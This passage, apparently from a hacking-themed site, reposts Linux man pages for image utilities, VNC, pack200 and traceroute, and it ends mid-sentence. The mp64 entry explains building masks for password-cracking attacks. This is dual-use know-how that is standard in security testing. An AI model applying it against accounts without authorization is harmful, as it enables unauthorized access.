              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

836 - Linux cli command qrttoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qrttoppm and provides detailed information about the command qrttoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qrttoppm.

.

NAME 🖥️ qrttoppm 🖥️

convert output from the QRT ray tracer to a PPM image

SYNOPSIS

qrttoppm

[qrtfile]

DESCRIPTION

This program is part of Netpbm(1) .

qrttoppm reads a QRT file as input and produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for qrttoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

ppm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/qrttoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

837 - Linux cli command tightvncconnect

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tightvncconnect and provides detailed information about the command tightvncconnect, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tightvncconnect.

NAME 🖥️ tightvncconnect 🖥️

connect a VNC server to a VNC viewer

SYNOPSIS

vncconnect [-display Xvnc-display] host[:port]

DESCRIPTION

Tells Xvnc(1) to connect to a listening VNC viewer on the given host and port.

SEE ALSO

vncviewer(1), vncserver(1), Xvnc(1), vncpasswd(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

838 - Linux cli command jpegexiforient

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jpegexiforient and provides detailed information about the command jpegexiforient, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jpegexiforient.

NAME 🖥️ jpegexiforient 🖥️

reads or writes the Exif Orientation Tag

SYNOPSIS

jpegexiforient [switches] jpegfile

DESCRIPTION

This is a utility program to get and set the Exif Orientation Tag. It can be used together with jpegtran in scripts for automatic orientation correction of digital camera pictures.

The Exif orientation value gives the orientation of the camera relative to the scene when the image was captured. The relation of the ‘0th row’ and ‘0th column’ to visual position is shown as below.

Value | 0th Row     | 0th Column
------+-------------+-----------
  1   | top         | left side
  2   | top         | right side
  3   | bottom      | right side
  4   | bottom      | left side
  5   | left side   | top
  6   | right side  | top
  7   | right side  | bottom
  8   | left side   | bottom

For convenience, here is what the letter F would look like if it were tagged correctly and displayed by a program that ignores the orientation tag:

  1        2       3      4

888888  888888      88  88
88          88      88  88
8888      8888    8888  8888
88          88      88  88
88          88  888888  888888

    5            6           7          8

8888888888  88                  88  8888888888
88  88      88  88          88  88      88  88
88          8888888888  8888888888          88

jpegexiforient output the Exif Orientation Tag in a JPEG Exif file. With the options -1 .. -8, it can also be used to set the tag.

OPTIONS

–help
display this help and exit

–version
output version information and exit

-n
Do not output the trailing newline

-1 .. -8
Set orientation value 1 .. 8

AUTHOR

Guido Vollbeding <[email protected]>

SEE ALSO

jpegtran(1), exifautotran(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

839 - Linux cli command pamstretch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamstretch and provides detailed information about the command pamstretch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamstretch.

.

NAME 🖥️ pamstretch 🖥️

scale up a PNM or PAM image by interpolating between pixels.

SYNOPSIS

pamstretch

[**-xscale=**X]

[-yscale=Y] [-blackedge]

[-dropedge]

N

[infile]

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamstretch scales up pictures by integer values, either vertically, horizontally, or both. pamstretch differs from pamscale and pamenlarge in that when it inserts the additional rows and columns, instead of making the new row or column a copy of its neighbor, pamstretch makes the new row or column an interpolation between its neighbors. In some images, this produces better looking output.

To scale up to non-integer pixel sizes, e.g. 2.5, try pamstretch-gen(1) instead.

Options let you select alternative methods of dealing with the right/bottom edges of the picture. Since the interpolation is done between the top-left corners of the scaled-up pixels, it’s not obvious what to do with the right/bottom edges. The default behaviour is to scale those up without interpolation (more precisely, the right edge is only interpolated vertically, and the bottom edge is only interpolated horizontally), but there are two other possibilities, selected by the -blackedge and -dropedge options.

In the special case that the stretch factor is 1, there is no issue with the right and bottom edges, the edges of the output are identical to the edges of the input regardless of -blackedge and -dropedge. However, before Netpbm 10.86 (March 2019), -dropedge would cause the edge to be dropped even where the stretch factor was 1.

PARAMETERS

The N parameter is the scale factor. It is valid only if you don’t specify -xscale or -yscale. In that case, pamstretch scales in both dimensions and by the scale factor N.

Before Netpbm 10.86 (March 2019), 1 was not a valid value.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamstretch recognizes the following command line options:

**-xscale=**X
This is the horizontal scale factor. If you don’t specify this, but do specify a vertical scale factor, the horizontal scale factor is 1.

This option was new in Netpbm 9.21 (December 2001).

**-yscale=**Y
This is the vertical scale factor. If you don’t specify this, but do specify a horizontal scale factor, the vertical scale factor is 1.

This option was new in Netpbm 9.21 (December 2001).

-blackedge
interpolate to black at right/bottom edges.

-dropedge
drop one (source) pixel at right/bottom edges. This is arguably more logical than the default behaviour, but it means producing output which is a slightly odd size.

LIMITATIONS

Usually produces fairly ugly output for PBMs. For most PBM input you’ll probably want to reduce the `noise’ first using something like pnmnlfilt(1) .

SEE ALSO

pamstretch-gen(1) , pamenlarge(1) , pamscale(1) , pnmnlfilt(1)

AUTHOR

Russell Marks ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamstretch.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

840 - Linux cli command mp64

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mp64 and provides detailed information about the command mp64, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mp64.

NAME 🖥️ mp64 🖥️

high-performance word generator with a per-position configurable charset

SYNOPSIS

mp64 [options]… mask

DESCRIPTION

Maskprocessor is a fast word list generator. It enumerates all combinations from a given user-defined keyspace and outputs the results. Since it supports different alphabets (which also can be combined) at different positions in the generation template (‘mask’), this approach allows a more fine-tunable generation of candidates than using ’naive’ brute force enumeration of words. Masks are defined using the description also used in the Hashcat password recovery utility.

High-Performance word generator with a per-position configureable charset

* Startup:

-V, –version
Print version

-h, –help
Print help

* Increment:

-i, –increment=NUM:NUM
Enable increment mode. 1st NUM=start, 2nd NUM=stop Example: -i 4:8 searches lengths 4-8 (inclusive)

* Misc:

–combinations
Calculate number of combinations

–hex-charset
Assume charset is given in hex

-q, –seq-max=NUM
Maximum number of multiple sequential characters

-r, –occurrence-max=NUM
Maximum number of occurrence of a character

* Resources:

-s, –start-at=WORD
Start at specific position

-l, –stop-at=WORD
Stop at specific position

* Files:

-o, –output-file=FILE
Output-file

* Custom charsets:

-1, –custom-charset1=CS
User-defineable charsets

-2, –custom-charset2=CS
Example:

-3, –custom-charset3=CS –custom-charset1=?dabcdef

-4, –custom-charset4=CS
sets charset ?1 to 0123456789abcdef

* Built-in charsets:

?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?s = !"#$%&’()*+,-./:;<=>?@[^_`{|}~ ?a = ?l?u?d?s ?b = 0x00 - 0xff

MASKS

For each position of the generated password candidates we need to configure a placeholder. If a password we want to crack has the length 8, our mask must consist of 8 placeholders. A mask is a simple string that configures the keyspace of the password candidate engine using placeholders. A placeholder can be either a custom charset variable, a built-in charset variable or a static letter. A variable is indicated by the ? letter followed by one of the built-in charset (l, u, d, s, a) or one of the custom charset variable names (1, 2, 3, 4). A static letter is not indicated by a letter. An exception is if we want the static letter ? itself, which must be written as ??.

BUILTIN CHARSETS

?l = abcdefghijklmnopqrstuvwxyz, ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ, ?d = 0123456789, ?s = (space)!"#$%&’()*+,-./:;<=>?@[]^_`{|}~, ?a = ?l?u?d?s, ?b = 0x00-0xff

CUSTOM CHARSETS

There are four command line parameters to configure four custom charsets: –custom-charset1=CS, –custom-charset2=CS, –custom-charset3=CS, –custom-charset4=CS.

These command line parameters have four analogous shortcuts called -1, -2, -3 and -4. You can specify the chars directly on the command line.

PASSWORD LENGTH INCREMENT

A Mask attack is always specific to a password length. For example, if we use the mask ????l?l?l?l?l?l?l?l??? we can only crack a password of the length 8. But if the password we try to crack has the length 7 we will not find it. That is why we have to repeat the attack several times, each time with one placeholder added to the mask. This is transparently automated by using the ‘–increment’ flag.

?l -> ?l?l -> ?l?l?l -> ?l?l?l?l -> ?l?l?l?l?l -> ?l?l?l?l?l?l -> ?l?l?l?l?l?l?l -> ?l?l?l?l?l?l?l?l

REPORTING BUGS

Please report bugs upstream to the maskprocessor issue tracker on GitHub: https://github.com/hashcat/maskprocessor/issues

COPYRIGHT

This tool is developed and maintained by Jens Steube under the MIT License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

841 - Linux cli command xcursorgen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xcursorgen and provides detailed information about the command xcursorgen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xcursorgen.

NAME 🖥️ xcursorgen 🖥️

create an X cursor file from a collection of PNG images

SYNOPSIS

xcursorgen [ -V ] [ –version ] [ -? ] [ –help ] [ -p dir ] [ –prefix dir ] [ config-file [ output-file ] ]

DESCRIPTION

Xcursorgen reads the config-file to find the list of cursor images along with their hotspot and nominal size information. Xcursorgen converts all of the images to Xcursor format and writes them to the output-file.

Each line in the config file is of the form:
<size> <xhot> <yhot> <filename> <ms-delay>

Multiple images with the same <size> are used to create animated cursors, the <ms-delay> value on each line indicates how long each image should be displayed before switching to the next. <ms-delay> can be elided for static cursors.

If config-file is not specified, or is specified as “-”, standard input is used for the configuration file. If output-file is not specified, or is specified as “-”, standard output is used for the output file.

OPTIONS

-V, –version
Display the version number and exit.

-?, –help
Display the usage message and exit.

-p dir, –prefix dir
Find cursor images in the directory specified by dir. If not specified, the current directory is used.

SEE ALSO

Xcursor(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

842 - Linux cli command pack200

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pack200 and provides detailed information about the command pack200, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pack200.

NAME 🖥️ pack200 🖥️

Packages a JAR file into a compressed pack200 file for web deployment.

SYNOPSIS

pack200 [options] output-file JAR-file

Options can be in any order. The last option on the command line or in a properties file supersedes all previously specified options.

options
The command-line options. See Options.

output-file
Name of the output file.

JAR-file
Name of the input file.

DESCRIPTION

The pack200 command is a Java application that transforms a JAR file into a compressed pack200 file with the Java gzip compressor. The pack200 files are highly compressed files that can be directly deployed to save bandwidth and reduce download time.

The pack200 command has several options to fine-tune and set the compression engine. The typical usage is shown in the following example, where myarchive.pack.gz is produced with the default pack200 command settings:

pack200 myarchive.pack.gz myarchive.jar

OPTIONS

-r, –repack

Produces a JAR file by packing and unpacking a JAR file. The resulting file can be used as an input to the jarsigner(1) tool. The following example packs and unpacks the myarchive.jar file:

pack200 --repack myarchive-packer.jar myarchive.jar
pack200 --repack myarchive.jar

The following example preserves the order of files in the input file.

-g, –no-gzip

Produces a pack200 file. With this option, a suitable compressor must be used, and the target system must use a corresponding decompresser.

pack200 --no-gzip myarchive.pack myarchive.jar

-G, –strip-debug

Strips debugging attributes from the output. These include SourceFile, LineNumberTable, LocalVariableTable and LocalVariableTypeTable. Removing these attributes reduces the size of both downloads and installations, but reduces the usefulness of debuggers.

–keep-file-order

Preserve the order of files in the input file. This is the default behavior.

-O, –no-keep-file-order

The packer reorders and transmits all elements. The packer can also remove JAR directory names to reduce the download size. However, certain JAR file optimizations, such as indexing, might not work correctly.

-Svalue , –segment-limit=value

The value is the estimated target size N (in bytes) of each archive segment. If a single input file requires more than N bytes, then its own archive segment is provided. As a special case, a value of -1 produces a single large segment with all input files, while a value of 0 produces one segment for each class. Larger archive segments result in less fragmentation and better compression, but processing them requires more memory.

The size of each segment is estimated by counting the size of each input file to be transmitted in the segment with the size of its name and other transmitted properties.

The default is -1, which means that the packer creates a single segment output file. In cases where extremely large output files are generated, users are strongly encouraged to use segmenting or break up the input file into smaller JARs.

A 10 MB JAR packed without this limit typically packs about 10 percent smaller, but the packer might require a larger Java heap (about 10 times the segment limit).

-Evalue , –effort=value

If the value is set to a single decimal digit, then the packer uses the indicated amount of effort in compressing the archive. Level 1 might produce somewhat larger size and faster compression speed, while level 9 takes much longer, but can produce better compression. The special value 0 instructs the pack200 command to copy through the original JAR file directly with no compression. The JSR 200 standard requires any unpacker to understand this special case as a pass-through of the entire archive.

The default is 5, to invest a modest amount of time to produce reasonable compression.

-Hvalue , –deflate-hint=value

Overrides the default, which preserves the input information, but can cause the transmitted archive to be larger. The possible values are: true, false, or keep.

If the value is true or false, then the packer200 command sets the deflation hint accordingly in the output archive and does not transmit the individual deflation hints of archive elements.

The keep value preserves deflation hints observed in the input JAR. This is the default.

-mvalue , –modification-time=value

The possible values are latest and keep.

If the value is latest, then the packer attempts to determine the latest modification time, among all the available entries in the original archive, or the latest modification time of all the available entries in that segment. This single value is transmitted as part of the segment and applied to all the entries in each segment. This can marginally decrease the transmitted size of the archive at the expense of setting all installed files to a single date.

If the value is keep, then modification times observed in the input JAR are preserved. This is the default.

-Pfile , –pass-file=file

Indicates that a file should be passed through bytewise with no compression. By repeating the option, multiple files can be specified. There is no pathname transformation, except that the system file separator is replaced by the JAR file separator forward slash (/). The resulting file names must match exactly as strings with their occurrences in the JAR file. If file is a directory name, then all files under that directory are passed.

-Uaction , –unknown-attribute=action

Overrides the default behavior, which means that the class file that contains the unknown attribute is passed through with the specified action. The possible values for actions are error, strip, or pass.

If the value is error, then the entire pack200 command operation fails with a suitable explanation.

If the value is strip, then the attribute is dropped. Removing the required Java Virtual Machine (JVM) attributes can cause class loader failures.

If the value is pass, then the entire class is transmitted as though it is a resource.

-Cattribute-name=layout , --class-attribute=attribute-name=action

See next option.

-Fattribute-name=layout , --field-attribute=attribute-name=action

See next option.

-Mattribute-name=layout , --method-attribute=attribute-name=action

See next option.

-Dattribute-name=layout , --code-attribute=attribute-name=action

With the previous four options, the attribute layout can be specified for a class entity, such as class-attribute, field-attribute, method-attribute, and code-attribute. The attribute-name is the name of the attribute for which the layout or action is being defined. The possible values for action are some-layout-string, error, strip, pass.

some-layout-string: The layout language is defined in the JSR 200 specification, for example: –class-attribute=SourceFile=RUH.

If the value is error, then the pack200 operation fails with an explanation.

If the value is strip, then the attribute is removed from the output. Removing JVM-required attributes can cause class loader failures. For example, –class-attribute=CompilationID=pass causes the class file that contains this attribute to be passed through without further action by the packer.

If the value is pass, then the entire class is transmitted as though it is a resource.

-f pack.properties , –config-file=pack.properties

A configuration file, containing Java properties to initialize the packer, can be specified on the command line.

pack200 -f pack.properties myarchive.pack.gz myarchive.jar
more pack.properties

# Generic properties for the packer.

modification.time=latest

deflate.hint=false

keep.file.order=false

# This option will cause the files bearing new attributes to

# be reported as an error rather than passed uncompressed.

unknown.attribute=error

# Change the segment limit to be unlimited.

segment.limit=-1

-v, –verbose

Outputs minimal messages. Multiple specification of this option will create more verbose messages.

-q, –quiet

Specifies quiet operation with no messages.

-lfilename , –log-file=filename

Specifies a log file to output messages.

-?, -h, –help

Prints help information about this command.

-V, –version

Prints version information about this command.

-Joption

Passes the specified option to the Java Virtual Machine. For more information, see the reference page for the java(1) command. For example, -J-Xms48m sets the startup memory to 48 MB.

EXIT STATUS

The following exit values are returned: 0 for successful completion and a number greater than 0 when an error occurs.

NOTES

This command should not be confused with pack(1). The pack and pack200 commands are separate products.

The Java SE API Specification provided with the JDK is the superseding authority, when there are discrepancies.

SEE ALSO

·
unpack200(1)

·
jar(1)

·
jarsigner(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

843 - Linux cli command ppmdmkfont

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmdmkfont and provides detailed information about the command ppmdmkfont, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmdmkfont.

.

NAME 🖥️ ppmdmkfont 🖥️

Create Ppmdfont “standard”.

SYNOPSIS

ppmdmkfont

DESCRIPTION

This program is part of Netpbm(1) .

ppmdmkfont creates the “standard” Ppmdfont font as a Ppmdfont file. It has no input; it always generates identical files.

(There are no arguments or options)

This program is useful mainly as an example for creating other fonts. libnetpbm has the “standard” font built in.

See “LibnetpbmPPMDrawingFunction Manual” (1) for details on Ppmdfont files.

SEE ALSO

ppmdraw(1) , ppmddumpfont(1) , ppmdcfont(1) , Libnetpbm PPM Drawing Function Manual(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmdmkfont.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

844 - Linux cli command traceproto

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command traceproto and provides detailed information about the command traceproto, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the traceproto.

NAME 🖥️ traceproto 🖥️

print the route packets trace to network host

SYNOPSIS

traceroute [-46dFITUnreAV] [-f first_ttl] [-g gate,…]

[-i device] [-m max_ttl] [-p port] [-s src_addr]

[-q nqueries] [-N squeries] [-t tos]

[-l flow_label] [-w waittimes] [-z sendwait] [-UL] [-D]

[-P proto] [–sport=port] [-M method] [-O mod_options]

[–mtu] [–back]

host [packet_len]
traceroute6 [options]
tcptraceroute [options]
lft [options]

DESCRIPTION

traceroute tracks the route packets taken from an IP network on their way to a given host. It utilizes the IP protocol’s time to live (TTL) field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to the host.

traceroute6 is equivalent to traceroute -6

tcptraceroute is equivalent to traceroute -T

lft , the Layer Four Traceroute, performs a TCP traceroute, like traceroute -T , but attempts to provide compatibility with the original such implementation, also called “lft”.

The only required parameter is the name or IP address of the destination host . The optional packet_len`gth is the total size of the probing packet (default 60 bytes for IPv4 and 80 for IPv6). The specified size can be ignored in some situations or increased up to a minimal value.

This program attempts to trace the route an IP packet would follow to some internet host by launching probe packets with a small ttl (time to live) then listening for an ICMP “time exceeded” reply from a gateway. We start our probes with a ttl of one and increase by one until we get an ICMP “port unreachable” (or TCP reset), which means we got to the “host”, or hit a max (which defaults to 30 hops). Three probes (by default) are sent at each ttl setting and a line is printed showing the ttl, address of the gateway and round trip time of each probe. The address can be followed by additional information when requested. If the probe answers come from different gateways, the address of each responding system will be printed. If there is no response within a certain timeout, an “*” (asterisk) is printed for that probe.

After the trip time, some additional annotation can be printed: !H, !N, or !P (host, network or protocol unreachable), !S (source route failed), !F (fragmentation needed), !X (communication administratively prohibited), !V (host precedence violation), !C (precedence cutoff in effect), or !<num> (ICMP unreachable code <num>). If almost all the probes result in some kind of unreachable, traceroute will give up and exit.

We don’t want the destination host to process the UDP probe packets, so the destination port is set to an unlikely value (you can change it with the -p flag). There is no such a problem for ICMP or TCP tracerouting (for TCP we use half-open technique, which prevents our probes to be seen by applications on the destination host).

In the modern network environment the traditional traceroute methods can not be always applicable, because of widespread use of firewalls. Such firewalls filter the “unlikely” UDP ports, or even ICMP echoes. To solve this, some additional tracerouting methods are implemented (including tcp), see LIST OF AVAILABLE METHODS below. Such methods try to use particular protocol and source/destination port, in order to bypass firewalls (to be seen by firewalls just as a start of allowed type of a network session).

OPTIONS

–help
Print help info and exit.

-4, -6
Explicitly force IPv4 or IPv6 tracerouting. By default, the program will try to resolve the name given, and choose the appropriate protocol automatically. If resolving a host name returns both IPv4 and IPv6 addresses, traceroute will use IPv4.

-I, –icmp
Use ICMP ECHO for probes

-T, –tcp
Use TCP SYN for probes

-d, –debug
Enable socket level debugging (when the Linux kernel supports it)

-F, –dont-fragment
Do not fragment probe packets. (For IPv4 it also sets DF bit, which tells intermediate routers not to fragment remotely as well).

Varying the size of the probing packet by the packet_len command line parameter, you can manually obtain information about the MTU of individual network hops. The –mtu option (see below) tries to do this automatically.

Note, that non-fragmented features (like -F or –mtu) work properly since the Linux kernel 2.6.22 only. Before that version, IPv6 was always fragmented, IPv4 could use the once the discovered final mtu only (from the route cache), which can be less than the actual mtu of a device.

-f* first_ttl***, –first=**first_ttl
Specifies with what TTL to start. Defaults to 1.

-g* gateway***, –gateway=gateway
Tells traceroute to add an IP source routing option to the outgoing packet that tells the network to route the packet through the specified gateway (most routers have disabled source routing for security reasons). In general, several gateway’s is allowed (comma separated). For IPv6, the form of num
